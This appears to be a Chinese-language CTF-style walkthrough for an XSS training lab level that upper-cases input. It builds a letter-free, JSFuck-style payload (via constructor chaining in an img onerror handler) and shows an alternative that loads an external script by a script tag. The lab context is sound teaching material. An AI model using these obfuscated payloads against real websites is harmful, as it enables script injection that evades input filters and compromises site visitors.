XSS 进阶技巧之不能使用英文字母的时候如何构造 payload
2022-11-22 13:21:22328浏览
许多 XSS 靶场都是通过检测 alert 函数的调用来判定是否过关,但是 “alert” 是由英文字母组成的,而 \u 、\x 等编码方案也至少需要一个字母。 那么,如果靶场限制了我们不能使用英文字母,又该如何构造 payload 呢?

一、 相应靶场

本文演示的靶场是易锦 XSS 靶场的第四关,靶场地址: http://lab.yijincc.com:50008/?lesson=4

二、通关讲解

1. 审题

2.1.1 出题人的建议

在“漏洞简述”里面,出题人给了我们两个提示:

  • JS 本身的破绽,也就是 JS 设计不严谨的地方;
  • 使用 script 标签带入跨站脚本。

2.1.2 审查代码

这里面只用了一个函数来过滤,通过百度搜索我们可以知道:

字符串API toUpperCase():全部字符变为大写,返回新字符串。

👆这意味着我们的 alert 会变成 ALERT ,从而变得无法执行。

2.1.3 随便输入一个 payload 试试

👆好家伙,管他三七二十一,全部都转成了大写。

2. 知识点一:JS 中一切皆可转字符串

JS 是处理网页的语言,而网页都是以字符组成,因此 JS 有着很方便的字符串处理功能,但这些功能也会造成一些隐患。

下面的代码,我希望你可以在浏览器控制台中运行它们,观察其运行结果。

2.2.1 JS 中两个东西相加,结果不是数字,就是字符串

例如

[] + []

两个空数组相加,得到一个空字符串:

其他一些类似的表达式:

2.2.3 从产生的这些字符串中提取字母

在 JS 中,字符串后面用方括号括一个数字,可以取出字符串中对应序号的字母,比如:

'false'[1]

就能取出其第2个字母,也就是 'a' 。

取出这些字母之后再拼接起来,就可以得到任意英文单词(只要由相应的字母),例如我们喜闻乐见的 alert ,就可以这样搞到手:

([]+![])[1]+([]+![])[2]+([]+![])[4]+([]+!![])[1]+([]+!![])[0]

👆当然我们还可以再极端一点,在这个的基础上把里面的数字也替换掉。

3. 知识点二:JS 中把字符串解析为函数的方法

2.3.1 一般手段

JS 中有很多方法可以把字符串变成函数来执行,包括且不限于:

eval('alert(1)');
setTimeout('alert(1)');
Function('alert(1)')();
setTimeout`alert(1)`;
document.write('<img src onerror=alert(1)>');

但是这些函数明显都需要“字母”,而我们现在最缺的就是“字母”。

4. 知识点三:JS 中的 constructor 函数

在 JS 中所有的对象都有一个 constrctor 属性,这个属性是一个函数,例如数组的 constructor :

最重要的一点:函数也有自己的 constructor ,而函数的 constructor 刚好是我们上面列出来的 Function 函数:

所以我们只需要使用

[]['constructor']['constructor']

就可以得到 Function,你可能会认为这里面有用到字母,所以问题又进入了死循环——但是这里的字母都是在字符串里,因此我们是可以通过上面说的方法拼接而来的:

([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]-~[]-~[]-~[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]]+([]+![])[-~[]-~[]-~[]]+([]+!![])[+[]]+([]+!![])[-~[]]+([]+!![])[-~[]-~[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]]+([]+!![])[+[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]-~[]-~[]-~[]]+([]+!![])[-~[]]

5. 知识点就绪,拼接成可执行的 JS

我们准备的方案(at 比 constructor 短,但也是一个函数)

[]['at']['constructor']('alert')(1)

把这句代码中的所有字母都使用上面的方法替换掉,得到:

[][[]+(([]+![])[-~[]])+([]+!![])[-[]]][([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]-~[]-~[]-~[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]]+([]+![])[-~[]-~[]-~[]]+([]+!![])[+[]]+([]+!![])[-~[]]+([]+!![])[-~[]-~[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]]+([]+!![])[+[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]-~[]-~[]-~[]]+([]+!![])[-~[]]](([]+![])[-~[]]+([]+![])[-~[]-~[]]+([]+![])[-~[]-~[]-~[]-~[]]+([]+!![])[-~[]]+([]+!![])[+[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]]+(-~[])+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]])()

👆 这段代码是可以直接运行的。

6. 根据题目要求构造 payload

当然我们的题目中是需要使用 HTML 带入 JS 执行,所以我们用上面的神秘字符串替换原来的 alert(1) 部分:

<img src onerror=[][[]+(([]+![])[-~[]])+([]+!![])[-[]]][([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]-~[]-~[]-~[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]]+([]+![])[-~[]-~[]-~[]]+([]+!![])[+[]]+([]+!![])[-~[]]+([]+!![])[-~[]-~[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]]+([]+!![])[+[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]-~[]-~[]-~[]]+([]+!![])[-~[]]](([]+![])[-~[]]+([]+![])[-~[]-~[]]+([]+![])[-~[]-~[]-~[]-~[]]+([]+!![])[-~[]]+([]+!![])[+[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]]+(-~[])+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]])()>

通关!

三、另一种通关方法——跨站脚本

1. 启动PhpStudy,在 phpStudy 根目录新建一个名为“T.JS”的 JS

T.JS 的内容:

alert(1);

2. 使用 script 标签引入该脚本

<script type="application/Javascript" src="http://phpStudy所在IP/T.JS/T.JS"></script>

3. 这样也能通关

友情链接: